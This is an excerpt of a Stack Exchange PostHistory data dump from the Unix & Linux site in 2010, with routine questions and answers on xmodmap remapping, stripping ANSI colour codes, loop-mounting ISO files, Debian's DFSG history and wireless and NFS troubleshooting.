  <row Id="9894" PostHistoryTypeId="2" PostId="4524" RevisionGUID="320e5911-8d7b-48f6-9962-da5361fa4c8e" CreationDate="2010-12-03T20:05:00.097" UserId="885" Text="All amd64 (i.e. 64-bit x64) processors can run 32-bit x86 binaries. Also, on most operating systems, you can run x86 programs on an amd64 OS. So it is often possible to deploy x86 binaries on amd64 processors.&#xD;&#xA;&#xD;&#xA;Whether it's desirable to do so is a different matter. 64-bit OSes often come with a restricted set of 32-bit libraries, so if your program uses some uncommon libraries it will be easier to install a 64-bit executable. Depending on your application, there may or may not be a performance advantage to 32-bit or 64-bit binaries.&#xD;&#xA;&#xD;&#xA;If you decide you want to deploy 64-bit executables, you'll need a cross-compililation environment for the amd64 (a.k.a. x86_64) architecture running on an x86 architecture. This means both a compiler, and static libraries to link against.&#xD;&#xA;&#xD;&#xA;A gcc installation can share frontends and include multiple backends. But not many distributions ship with amd64 development tools on x86 platforms, so you may have to get your own (gcc is fairly straightforward to cross-compile). The same goes for libraries to link against (of course, once you have the compiler, you can recompile them from source).&#xD;&#xA;&#xD;&#xA;As an example, Ubuntu 10.04 on x86 comes with a “multilib” version of gcc and an amd64 backend, plus a small set of 64-bit development packages ([libc6-dev-amd64](http://packages.ubuntu.com/libc6-dev-amd64) [![Install libc6-dev-amd64](http://bit.ly/software-small)](http://apt.ubuntu.com/p/libc6-dev-amd64) and depending and dependent packages).&#xD;&#xA;" />
  <row Id="9895" PostHistoryTypeId="2" PostId="4525" RevisionGUID="ca6ae85a-f101-4087-9336-3853ec6e2206" CreationDate="2010-12-03T21:58:31.017" UserId="885" Text="This has already been reported as [Debian bug #564327](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=564327), [Debian bug #565279](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=565279), [Ubuntu bug #524774](https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/524774), and [FreeDesktop bug 20145](https://bugs.freedesktop.org/show_bug.cgi?id=20145). There is a source patch attached to the FreeDesktop bug discussion. There are several workaround proposals in the Ubuntu bug discussion, in particular [a `.Xmodmap` workaround](https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/524774/comments/17).&#xD;&#xA;" />
  <row Id="9896" PostHistoryTypeId="2" PostId="4526" RevisionGUID="c86da1a7-43e4-449d-bee5-d3de9b34e3f4" CreationDate="2010-12-03T22:53:44.023" UserId="2925" Text="Looking at the workaround linked by Giles, this is what worked for me:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&#xD;&#xA;clear Mod1&#xD;&#xA;clear Mod4&#xD;&#xA;&#xD;&#xA;keycode 204 = NoSymbol NoSymbol NoSymbol NoSymbol&#xD;&#xA;keycode 206 = NoSymbol NoSymbol NoSymbol NoSymbol&#xD;&#xA;&#xD;&#xA;keycode 64 = Control_L Control_L Control_L Control_L&#xD;&#xA;keycode 133 = Alt_L Alt_L Alt_L Alt_L&#xD;&#xA;keycode 134 = Alt_R Alt_R Alt_R Alt_R&#xD;&#xA;keycode 108 = Control_R Control_R Control_R Control R&#xD;&#xA;&#xD;&#xA;add Control = Control_L Control_R&#xD;&#xA;add Mod1 = Alt_L Alt_R&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;My Option keys now function like Control keys and my Windows Keys like Alt keys.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9897" PostHistoryTypeId="2" PostId="4527" RevisionGUID="e97693cf-17bf-45a1-9f63-d19fe3e5fc7b" CreationDate="2010-12-03T23:00:36.740" UserId="1010" Text="I have a command that produces output in color, and I would like to pipe it into a file with the color codes stripped out. Is there a command that works like `cat` except that it strips color codes? I plan to do something like this:&#xD;&#xA;&#xD;&#xA;    $ command-that-produces-colored-output | stripcolorcodes &gt; outfile" />
  <row Id="9898" PostHistoryTypeId="1" PostId="4527" RevisionGUID="e97693cf-17bf-45a1-9f63-d19fe3e5fc7b" CreationDate="2010-12-03T23:00:36.740" UserId="1010" Text="Program that passes STDIN to STDOUT with color codes stripped?" />
  <row Id="9899" PostHistoryTypeId="3" PostId="4527" RevisionGUID="e97693cf-17bf-45a1-9f63-d19fe3e5fc7b" CreationDate="2010-12-03T23:00:36.740" UserId="1010" Text="écolorsàépipeàéfilterà" />
  <row Id="9900" PostHistoryTypeId="2" PostId="4528" RevisionGUID="6a3ed3e4-ad37-4ea4-b959-30d1c9d1642d" CreationDate="2010-12-03T23:35:25.907" UserId="2487" Text="you want a `sleep 10s` before the dhcpd part at the least&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9901" PostHistoryTypeId="2" PostId="4529" RevisionGUID="0df8f887-d114-48aa-bed3-84eefc6d849c" CreationDate="2010-12-03T23:35:46.367" UserId="2421" Text="You'd think there'd be a utility for that, but I couldn't find it.  However, this Perl one-liner should do the trick:&#xD;&#xA;&#xD;&#xA;    perl -pe 's/\e\[?.*?[\@-~]//g'&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ command-that-produces-colored-output | perl -pe 's/\e\[?.*?[\@-~]//g' &gt; outfile&#xD;&#xA;&#xD;&#xA;Or, if you want a script you can save as `stripcolorcodes`:&#xD;&#xA;&#xD;&#xA;    #! /usr/bin/perl&#xD;&#xA;    &#xD;&#xA;    use strict;&#xD;&#xA;    use warnings;&#xD;&#xA;    &#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;      s/\e\[?.*?[\@-~]//g; # Strip ANSI escape codes&#xD;&#xA;      print;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9902" PostHistoryTypeId="5" PostId="4529" RevisionGUID="1d3ae31e-9878-43c5-8a41-2bc72df41e74" CreationDate="2010-12-03T23:42:02.930" UserId="2421" Comment="added 213 characters in body" Text="You'd think there'd be a utility for that, but I couldn't find it.  However, this Perl one-liner should do the trick:&#xD;&#xA;&#xD;&#xA;    perl -pe 's/\e\[?.*?[\@-~]//g'&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ command-that-produces-colored-output | perl -pe 's/\e\[?.*?[\@-~]//g' &gt; outfile&#xD;&#xA;&#xD;&#xA;Or, if you want a script you can save as `stripcolorcodes`:&#xD;&#xA;&#xD;&#xA;    #! /usr/bin/perl&#xD;&#xA;    &#xD;&#xA;    use strict;&#xD;&#xA;    use warnings;&#xD;&#xA;    &#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;      s/\e\[?.*?[\@-~]//g; # Strip ANSI escape codes&#xD;&#xA;      print;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you want to strip _only_ color codes, and leave any other ANSI codes (like cursor movement) alone, use&#xD;&#xA;&#xD;&#xA;    s/\e\[[\d;]*m//g;&#xD;&#xA;&#xD;&#xA;instead of the substitution I used above (which removes all ANSI escape codes)." />
  <row Id="9903" PostHistoryTypeId="2" PostId="4530" RevisionGUID="48463d94-6384-4119-a4c1-60cd54c47698" CreationDate="2010-12-03T23:42:11.270" UserId="2487" Text="hey you can always write your own!&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/python&#xD;&#xA;    import imaplib&#xD;&#xA;    M = imaplib.IMAP4_SSL('imap.gmail.com')&#xD;&#xA;    if (M.login('YOU@gmail.com','PASSWORD')[0] != 'OK'): exit(&quot;no conn&quot;)&#xD;&#xA;    c = (M.select('Inbox'))[1][0]&#xD;&#xA;    if (c != '0'):print c&#xD;&#xA;    M.shutdown()&#xD;&#xA;&#xD;&#xA;you can emit this into [dmenu][1] or another wm notification tool&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.suckless.org/dmenu/" />
  <row Id="9904" PostHistoryTypeId="2" PostId="4531" RevisionGUID="81df81b5-5398-4a73-9490-c27153e042d0" CreationDate="2010-12-04T00:35:02.127" UserId="1010" Text="If you can install the Term::ANSIColor module, this perl script works:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env perl&#xD;&#xA;    use Term::ANSIColor qw(colorstrip);&#xD;&#xA;    print colorstrip $_ while &lt;&gt;;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9905" PostHistoryTypeId="5" PostId="4531" RevisionGUID="8bacb2fa-6cd7-4997-ad7f-64d5dc5fc63c" CreationDate="2010-12-04T01:08:32.547" UserId="1779" Comment="added 43 characters in body; added 7 characters in body" Text="If you can install the [Term::ANSIColor](http://search.cpan.org/perldoc?Term::ANSIColor) module, this perl script works:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env perl&#xD;&#xA;    use Term::ANSIColor qw(colorstrip);&#xD;&#xA;    print colorstrip $_ while &lt;&gt;;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9906" PostHistoryTypeId="2" PostId="4532" RevisionGUID="53b55868-572f-4899-80af-20da168dde25" CreationDate="2010-12-04T03:15:28.150" UserId="2964" Text="Except a company here or there, most &quot;free&quot; software companies donot make money and endup gutting the investment made. The &quot;free&quot; software community wastes computer time and resources of the universities where they hang around for morsels and sex. The rest of the &quot;free&quot; folks are all &quot;consultants&quot; and some more &quot;consultants&quot;!&#xD;&#xA;&#xD;&#xA;Most people here don't want to admit it, but thats the fact." />
  <row Id="9907" PostHistoryTypeId="2" PostId="4533" RevisionGUID="40761ad1-f63a-41a6-8ac1-495a3c2203d5" CreationDate="2010-12-04T07:36:48.893" UserId="1321" Text="### [Remove color codes (special characters) with sed][1]&#xD;&#xA;    sed -r &quot;s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.commandlinefu.com/commands/view/3584/remove-color-codes-special-characters-with-sed" />
  <row Id="9908" PostHistoryTypeId="5" PostId="4533" RevisionGUID="8d000ee4-c5f4-423e-820b-fce21c16ff92" CreationDate="2010-12-04T07:56:03.277" UserId="1321" Comment="added python variant based on colorama" Text="### [Remove color codes (special characters) with sed][1]&#xD;&#xA;    sed -r &quot;s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g&quot;&#xD;&#xA;&#xD;&#xA;Or&#xD;&#xA;### Strip ANSI escape sequences in Python&#xD;&#xA;&#xD;&#xA;Install [colorama][2] python package (`pip install colorama`). Put into `stripcolorcodes`:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    import colorama, fileinput, sys;&#xD;&#xA;    colorama.init(strip=True);&#xD;&#xA;    &#xD;&#xA;    for line in fileinput.input():&#xD;&#xA;        sys.stdout.write(line)&#xD;&#xA;&#xD;&#xA;Run `chmod +x stripcolorcodes`.&#xD;&#xA;  [1]: http://www.commandlinefu.com/commands/view/3584/remove-color-codes-special-characters-with-sed&#xD;&#xA;  [2]: http://pypi.python.org/pypi/colorama" />
  <row Id="9909" PostHistoryTypeId="5" PostId="4509" RevisionGUID="7fe343c0-b939-479e-bbaf-8df5b1207a9d" CreationDate="2010-12-04T10:08:11.280" UserId="29" Comment="correct spelling of template" Text="How to use STL(standard template library) in HP-Unix . How to compile and run the program with STL functions?" />
  <row Id="9910" PostHistoryTypeId="2" PostId="4534" RevisionGUID="764a3f71-bf1a-4ec1-be28-300d6f80359e" CreationDate="2010-12-04T11:34:42.987" UserId="688" Text="I'm curious why Debian created the [DFSG][1] when the [FSD][2] already existed. There are some differences (conflicts) of course, but was that the main motivation?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/social_contract#guidelines&#xD;&#xA;  [2]: http://www.gnu.org/philosophy/free-sw.html" />
  <row Id="9911" PostHistoryTypeId="1" PostId="4534" RevisionGUID="764a3f71-bf1a-4ec1-be28-300d6f80359e" CreationDate="2010-12-04T11:34:42.987" UserId="688" Text="Why did Debian create the DFSG?" />
  <row Id="9912" PostHistoryTypeId="3" PostId="4534" RevisionGUID="764a3f71-bf1a-4ec1-be28-300d6f80359e" CreationDate="2010-12-04T11:34:42.987" UserId="688" Text="édebianàéhistoryà" />
  <row Id="9913" PostHistoryTypeId="5" PostId="4493" RevisionGUID="92b920de-cb80-4cea-88bc-7403fa14119a" CreationDate="2010-12-04T14:26:15.047" UserId="131" Comment="added 449 characters in body; added 154 characters in body" Text="My home network uses WPA2 for encryption. To connect to it from my Arch Linux insallation, I first tried using NetworkManager, however, that only managed to connect for a minute at most before dropping the connection.&#xD;&#xA;&#xD;&#xA;I replaced it with wicd, which worked satisfactorily until somewhat recently. Since then, if it fails to establish the connection at startup, or if it loses connection, it will be unable to establish a connection. Attempting to reconnect with the GUI slows the system down so much that I have to switch from X to a tty and kill the process. The curses interface is unable to establish a connection in these circumstances, but doesn't impair system performance.&#xD;&#xA;&#xD;&#xA;Restarting the daemon is not enough to fix it from the bugged state. I need to power the system off and on again.&#xD;&#xA;&#xD;&#xA;The windows installation on the same laptop does suffer some intermittent connectivity problems (it's a crappy ISP router powering the network), but recovers from them, only requiring reconnecting to the network. Prior to using Arch Linux, I used to use Ubuntu as the Linux distro on the laptop, and that had the same results as Windows.&#xD;&#xA;&#xD;&#xA;What could be causing this problem (which I suspect may be related to the earlier NetworkManager problem), and how can I resolve it?&#xD;&#xA;&#xD;&#xA;For what it's worth, my wireless network card is a broadcom BCM4312, and it is using the b43 drivers.&#xD;&#xA;&#xD;&#xA;EDIT: Attempting to run wpa_supplicant while wicd is unable to connect produces this output:&#xD;&#xA;&#xD;&#xA;&gt; ioctl[SIOCSIWSCAN]: Device or resource busy  &#xD;&#xA;Failed to initiate AP scan.  &#xD;&#xA;ioctl[SIOCSIWSCAN]: Device or resource busy  &#xD;&#xA;Failed to initiate AP scan.  &#xD;&#xA;No network configuration found for the current AP  &#xD;&#xA;CTRL-EVENT-DISCONNECTED bssid=00:00:00:00:00:00 reason=0  &#xD;&#xA;ioctl[SIOCSIWSCAN]: Device or resource busy  &#xD;&#xA;Failed to initiate AP scan.  &#xD;&#xA;&#xD;&#xA;Further edit: The problem is significantly more likely to occur when the system is running on battery power, but can still occur while it is plugged in." />
  <row Id="9914" PostHistoryTypeId="2" PostId="4535" RevisionGUID="0962c095-c0d4-4eb1-8efc-269282b116a1" CreationDate="2010-12-04T15:47:38.407" UserId="1325" Text="Hi,&#xD;&#xA;  &#xD;&#xA; I am doing a mounting of an iso file and looking at this tutorial:&#xD;&#xA;&#xD;&#xA;    [http://www.cyberciti.biz/tips/how-to-mount-iso-image-under-linux.html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/tips/how-to-mount-iso-image-under-linux.html&#xD;&#xA;&#xD;&#xA;they use the command:&#xD;&#xA;&#xD;&#xA;      mount -o loop disk1.iso /mnt/disk&#xD;&#xA;&#xD;&#xA;i'm trying to understand  the use of &quot;-o loop&quot;. So i have two questions, &#xD;&#xA;&#xD;&#xA;First: when I look at the long man page for mount it takes time to find that &quot;-o&quot; option, and that takes time, i do &quot;man mount | grep &quot;-o&quot; but get and error, and when i look in the file i do not find info that the loop is a command text for option -o.&#xD;&#xA;&#xD;&#xA;Second: what is the &quot;loop device&quot; concept for mounting, even a good link to an explanation would be appreciated.&#xD;&#xA;&#xD;&#xA;Best," />
  <row Id="9915" PostHistoryTypeId="1" PostId="4535" RevisionGUID="0962c095-c0d4-4eb1-8efc-269282b116a1" CreationDate="2010-12-04T15:47:38.407" UserId="1325" Text="what is a &quot;loop device&quot; in the mount?" />
  <row Id="9916" PostHistoryTypeId="3" PostId="4535" RevisionGUID="0962c095-c0d4-4eb1-8efc-269282b116a1" CreationDate="2010-12-04T15:47:38.407" UserId="1325" Text="écommandölineàémountàémanàéloopbackà" />
  <row Id="9917" PostHistoryTypeId="2" PostId="4536" RevisionGUID="3a86284c-0f58-4c1f-b830-5039ae9bdfef" CreationDate="2010-12-04T16:44:56.543" UserId="2557" Text="loop device is a pseudo (&quot;fake&quot;) device (actually just a file) that acts as a block-based device. You want to mount a file (disk1.iso) that will act as entire filesystem, so you use loop.&#xD;&#xA;&#xD;&#xA;The -o comes from the -options.&#xD;&#xA;&#xD;&#xA;And the last thing, if you want to search for &quot;-o&quot; you need to escape the '-'. &#xD;&#xA;Try:&#xD;&#xA;&#xD;&#xA;    man mount | grep &quot;\-o&quot;" />
  <row Id="9921" PostHistoryTypeId="2" PostId="4538" RevisionGUID="c2a4f229-9d1a-4d92-a055-a42b05932295" CreationDate="2010-12-04T17:05:14.127" UserId="2594" Text="ksh93t+ is introducing some OO concepts while retaining the bourne/posix shell syntax: http://blog.fpmurphy.com/2010/05/ksh93-using-types-to-create-object-orientated-scripts.html" />
  <row Id="9925" PostHistoryTypeId="5" PostId="4488" RevisionGUID="b5699190-0e6b-445e-a944-64bb0cbe4a38" CreationDate="2010-12-04T21:20:22.560" UserId="1131" Comment="linked gnubiff" Text="Have looked at [`gnubiff`][1]?  I use it under GNOME for file mailbox, but it supports IMAP too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gnubiff.sourceforge.net/" />
  <row Id="9926" PostHistoryTypeId="2" PostId="4540" RevisionGUID="1c220e3e-42f5-4735-b523-97c242eae695" CreationDate="2010-12-04T21:30:20.337" UserId="1779" Text="Traditionally, UNIX systems have had various types of nodes in their filesystems:&#xD;&#xA;&#xD;&#xA;  - directory&#xD;&#xA;  - file&#xD;&#xA;  - symlink&#xD;&#xA;  - block device&#xD;&#xA;  - character device&#xD;&#xA;  - FIFO&#xD;&#xA;  - UNIX domain socket&#xD;&#xA;&#xD;&#xA;While there are now exceptions, generally block devices containing filesystems are mounted on directories.&#xD;&#xA;&#xD;&#xA;Since you want to mount a file, you must first create a `loop` block device that is backed by the file.  This can be done using `losetup`, but `mount -o loop` is a shortcut that handles that behind the scenes." />
  <row Id="9927" PostHistoryTypeId="5" PostId="4495" RevisionGUID="0e1e08e3-a2e5-434b-802a-8e888c29f98d" CreationDate="2010-12-05T03:46:35.123" UserId="479" Comment="added 8 characters in body" Text="Preface: I love bash and have no intention of starting any sort of argument or holy-war, and hopefully this is not an extremely naive question.&#xD;&#xA;&#xD;&#xA;This question is somewhat related to [this post][1] on superuser, but I don't think the OP really knew what he was asking for.  I use bash on FreeBSD, linux, OS X, and cygwin on Windows.  I've also had extensive experience recently with PowerShell on Windows.&#xD;&#xA;&#xD;&#xA;Is there a shell for *nix, already available or in the works, that is compatible with bash but adds a layer of object-oriented scripting into the mix?  The only thing I know of that comes close is the python console, but as far as I can tell it doesn't provide access to the standard shell environment.  For example, I can't just `cd ~` and `ls`, then `chmod +x file` inside the python console.  I would have to use python to perform those tasks rather than the standard unix binaries, or call the binaries using python code.&#xD;&#xA;&#xD;&#xA;Does such a shell exist?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/198505/modern-shell-for-unix-something-like-powershell" />
  <row Id="9928" PostHistoryTypeId="2" PostId="4541" RevisionGUID="38b2cb24-0652-423c-9da2-f81870dacf73" CreationDate="2010-12-05T03:59:29.067" UserId="1535" Text="I'm getting this error when trying to use `xmodmap` to get rid of caps lock:&#xD;&#xA;&#xD;&#xA;    $ xmodmap -e 'clear Lock'&#xD;&#xA;    X Error of failed request:  BadValue (integer parameter out of range for operation)&#xD;&#xA;      Major opcode of failed request:  118 (X_SetModifierMapping)&#xD;&#xA;      Value in failed request:  0x17&#xD;&#xA;      Serial number of failed request:  8&#xD;&#xA;      Current serial number in output stream:  8&#xD;&#xA;&#xD;&#xA;I'm running xfce.  This problem did not occur before I added the Keyboard Layouts applet to a panel; before doing that, I was able to run my xmodmap script to swap Esc and CapsLock:&#xD;&#xA;&#xD;&#xA;    !Remap Caps_Lock as Escape&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Escape&#xD;&#xA;&#xD;&#xA;It may be relevant that I chose alt-capslock as the keyboard switch combo in the Keyboard Layouts preferences.&#xD;&#xA;&#xD;&#xA;I've had a similar problem before, on a different machine, running openbox.  On that machine, this problem started when I upgraded to Lucid.  I reported a [bug](https://bugs.freedesktop.org/show_bug.cgi?id=31436) in xorg.  However, it remains unclear whether it's really a problem with xorg, or if I'm just doing something wrong with my configuration.&#xD;&#xA;&#xD;&#xA;Have other people experienced this problem?  Can someone shed some light on what's going on here?  It seems there are quite a few layers involved, and I don't understand any of them particularly well, so any information would be helpful." />
  <row Id="9929" PostHistoryTypeId="1" PostId="4541" RevisionGUID="38b2cb24-0652-423c-9da2-f81870dacf73" CreationDate="2010-12-05T03:59:29.067" UserId="1535" Text="Diagnosing xmodmap errors" />
  <row Id="9930" PostHistoryTypeId="3" PostId="4541" RevisionGUID="38b2cb24-0652-423c-9da2-f81870dacf73" CreationDate="2010-12-05T03:59:29.067" UserId="1535" Text="ékeyboardàéxfceà" />
  <row Id="9931" PostHistoryTypeId="2" PostId="4542" RevisionGUID="fd8f00de-0c43-4cb0-8d6c-2dffb2ea6087" CreationDate="2010-12-05T04:31:25.810" UserId="29" Text="as far as I have found this is not possible, so [I opened a feature request bug](https://bugs.kde.org/show_bug.cgi?id=257211) for it." />
  <row Id="9932" PostHistoryTypeId="2" PostId="4543" RevisionGUID="22477a21-724f-40ef-ab2d-4b39e56bb933" CreationDate="2010-12-05T05:51:06.410" UserId="1107" Text="The early definition of free software (set forth in the [GNU’s Bullentin Volume 1, Number 1](http://www.gnu.org/bulletins/bull1.txt) in 1986) was unknown to the authors of the [Debian Free Software Guidelines](http://www.debian.org/social_contract#guidelines) in 1997. This early definition was much weaker than the DFSG and it seems that [The Free Software Definition](http://www.gnu.org/philosophy/free-sw.html) had not yet been published as such.&#xD;&#xA;&#xD;&#xA;Here is an excerpt from [a comment by Bruce Perens](http://news.slashdot.org/comments.pl?sid=1129863&amp;cid=26875815) (the primary author of DFSG) &#xD;&#xA;(found as [a reference](http://en.wikipedia.org/wiki/Debian_Free_Software_Guidelines#cite_ref-3) &#xD;&#xA;in Wikipedia’s &#xD;&#xA;[Debian Free Software Guidelines article](http://en.wikipedia.org/wiki/Debian_Free_Software_Guidelines)):&#xD;&#xA;&#xD;&#xA;&gt; Richard wrote a statement of the Four Freedoms in an early edition of the GNUs Bulletin, which was mostly distributed in paper form on the MIT campus and environs. He did not further promote them until a long time later. So, when I had to write license guidelines for Debian, the Four Freedoms document was unknown. …&#xD;&#xA;&gt; &#xD;&#xA;&gt; Much later, FSF published its statement of the Four Freedoms on its web site as an alternative to the Open Source Definition.&#xD;&#xA;&#xD;&#xA;In fact, the 1986 GNU’s Bulletin definition was not the modern “Four Freedoms”, but a simplified version that focuses on the abilities to redistribute and change programs (but not specifically the ability to redistribute changed programs!). This early definition is close to the “modern” freedoms two and one. &#xD;&#xA;&#xD;&#xA;The DFSG were first published in [the July 1997 announcement of the Debian “Social Contract”](http://lists.debian.org/debian-announce/1997/msg00017.html). It explicitly mentions the ability to redistribute modified source code (or at least “original plus patches”). This was not explicit in the early GNU’s Bulletin definition, though it is related to “modern” freedom three.&#xD;&#xA;&#xD;&#xA;[archive.org’s http://www.gnu.org/philosophy/free-sw.html](http://web.archive.org/web/*/www.gnu.org/philosophy/free-sw.html)&#xD;&#xA;&#xD;&#xA;* [January 1998](http://web.archive.org/web/19980126185518/http://www.gnu.org/philosophy/free-sw.html) - first archived version; (unnumbered) freedoms one through three&#xD;&#xA;* [April 1999](http://web.archive.org/web/19990430060825/http://www.gnu.org/philosophy/free-sw.html) - added freedom zero&#xD;&#xA;* [May 2001](http://web.archive.org/web/20010516230210/http://www.gnu.org/philosophy/free-sw.html) - first version called “The Free Software Definition”" />
  <row Id="9933" PostHistoryTypeId="2" PostId="4544" RevisionGUID="1190cd29-0c3b-41f3-81bd-ddf13c0c298c" CreationDate="2010-12-05T07:37:00.527" UserId="2964" Text="MySQL is another free software project that **could not make any money** in its original form ! Dual licensing &quot;free software license&quot; and &quot;closed proprietary license EULA&quot; is what saved Widneius and Axmark's MySQL project !&#xD;&#xA;&#xD;&#xA;Come on guys grow up and don't try to fool the world !&#xD;&#xA;" />
  <row Id="9934" PostHistoryTypeId="2" PostId="4545" RevisionGUID="24cd035c-49c5-448c-a799-1f5f0b6fc29d" CreationDate="2010-12-05T07:40:47.137" UserId="2964" Text="**Politics**, for free as in &quot;abundance of&quot; by the free as in with &quot;lots of time to waste&quot; ! Most of these guys were anyway leeching off universities and the infrastructure !" />
  <row Id="9935" PostHistoryTypeId="2" PostId="4546" RevisionGUID="30a00d42-93d5-46ec-9ae3-d4484f926a48" CreationDate="2010-12-05T09:19:34.470" UserId="29" Text="In my hacker it appears I fixed it by setting&#xD;&#xA;&#xD;&#xA;    psvar[1]='-- INSERT --'&#xD;&#xA;&#xD;&#xA;before doing anything else with my vimode... I&quot;m not sure I'm 100% satisfied with my solution, but it functions." />
  <row Id="9936" PostHistoryTypeId="2" PostId="4547" RevisionGUID="31c32ca8-5669-49dc-a1f6-1911b61503c1" CreationDate="2010-12-05T11:24:57.200" UserId="2914" Text="Hi All,&#xD;&#xA;&#xD;&#xA;I am trying to share home directory of NIS user using NFS and autofs. During testing, I get the following error message. &#xD;&#xA;&#xD;&#xA;Could not chdir to home directory /home/guest/nis1: Permission denied&#xD;&#xA;&#xD;&#xA;-bash: /home/guest/nis1/.bash_profile: Permission denied&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How to troubleshoot the above error??&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Jack" />
  <row Id="9937" PostHistoryTypeId="1" PostId="4547" RevisionGUID="31c32ca8-5669-49dc-a1f6-1911b61503c1" CreationDate="2010-12-05T11:24:57.200" UserId="2914" Text="NIS and autofs error" />
  <row Id="9938" PostHistoryTypeId="3" PostId="4547" RevisionGUID="31c32ca8-5669-49dc-a1f6-1911b61503c1" CreationDate="2010-12-05T11:24:57.200" UserId="2914" Text="érhelà" />
  <row Id="9939" PostHistoryTypeId="2" PostId="4548" RevisionGUID="172b353f-fc92-47e3-a6d7-e885b037a705" CreationDate="2010-12-05T11:30:35.357" UserId="1900" Text="I usually run wget with -np -r options but it has no preview of the queue size that's why I'm checking wget frontend gwget ( on debian).&#xD;&#xA;&#xD;&#xA;Cannot get recursive option to run, anybody knows how to do it?" />
  <row Id="9940" PostHistoryTypeId="1" PostId="4548" RevisionGUID="172b353f-fc92-47e3-a6d7-e885b037a705" CreationDate="2010-12-05T11:30:35.357" UserId="1900" Text="wget frontend - gwget recursive download, how?" />
  <row Id="9941" PostHistoryTypeId="3" PostId="4548" RevisionGUID="172b353f-fc92-47e3-a6d7-e885b037a705" CreationDate="2010-12-05T11:30:35.357" UserId="1900" Text="énetworkingàédebianàéwgetà" />
  <row Id="9942" PostHistoryTypeId="2" PostId="4549" RevisionGUID="16e1d690-3b31-4995-9c06-3748cda07d24" CreationDate="2010-12-05T12:00:04.193" UserId="2972" Text="With GNU Parallel you can do:&#xD;&#xA;&#xD;&#xA;    cat urls | parallel curl {} &quot;&gt;&quot; {/}&#xD;&#xA;&#xD;&#xA;Or:&#xD;&#xA;&#xD;&#xA;    cat persons | parallel curl http://example.com/persons/{}.tar &quot;&gt;&quot; {}.tar&#xD;&#xA;&#xD;&#xA;Watch the intro video for GNU Parallel to learn more:&#xD;&#xA;http://www.youtube.com/watch?v=OpaiGYxkSuQ&#xD;&#xA;" />
  <row Id="9943" PostHistoryTypeId="2" PostId="4550" RevisionGUID="bbb6feab-5505-4dcc-a830-67fd52562d94" CreationDate="2010-12-05T16:39:51.827" UserId="2974" Text="So far as I know (as a regular user of SCO Unix) the &quot;@&quot; and &quot;%&quot; prefixes have no meaning in SCO Unix and are probably something used by the ERP system.&#xD;&#xA;&#xD;&#xA;The printer interface scripts are expected to work in the background without any connection to a specific interactive session - so they might not be a suitable place to introduce an interactive dialogue with a user. " />
  <row Id="9944" PostHistoryTypeId="5" PostId="4550" RevisionGUID="8b26dc14-aedc-45b0-b172-45c4c32b68da" CreationDate="2010-12-05T16:46:43.667" UserId="2974" Comment="added 65 characters in body; added 120 characters in body" Text="So far as I know (as a regular user of SCO Unix) the &quot;@&quot; and &quot;%&quot; prefixes have no meaning in SCO Unix and are probably something used by the ERP system. You can list printers using the command `lpstat -pDl`. If, as I suspect, you see `lp5` and not `%lp5` that would confirm that the prefix is something used by the application.&#xD;&#xA;&#xD;&#xA;I believe the printer interface scripts are expected to work in the background without any connection to a specific interactive session - so they might not be a suitable place to introduce an interactive dialogue with a user. " />
  <row Id="9945" PostHistoryTypeId="5" PostId="4547" RevisionGUID="37383f01-e9b1-46ca-8585-3dbcf1206d58" CreationDate="2010-12-05T17:28:58.393" UserId="1207" Comment="deleted 14 characters in body; edited tags" Text="I am trying to share the home directory of a NIS user using NFS and autofs. During testing, I get the following error message:&#xD;&#xA;&#xD;&#xA;    Could not chdir to home directory /home/guest/nis1: Permission denied&#xD;&#xA;    -bash: /home/guest/nis1/.bash_profile: Permission denied&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I troubleshoot the above error?&#xD;&#xA;" />
  <row Id="9946" PostHistoryTypeId="6" PostId="4547" RevisionGUID="37383f01-e9b1-46ca-8585-3dbcf1206d58" CreationDate="2010-12-05T17:28:58.393" UserId="1207" Comment="deleted 14 characters in body; edited tags" Text="érhelàénfsàénisàéautofsà" />
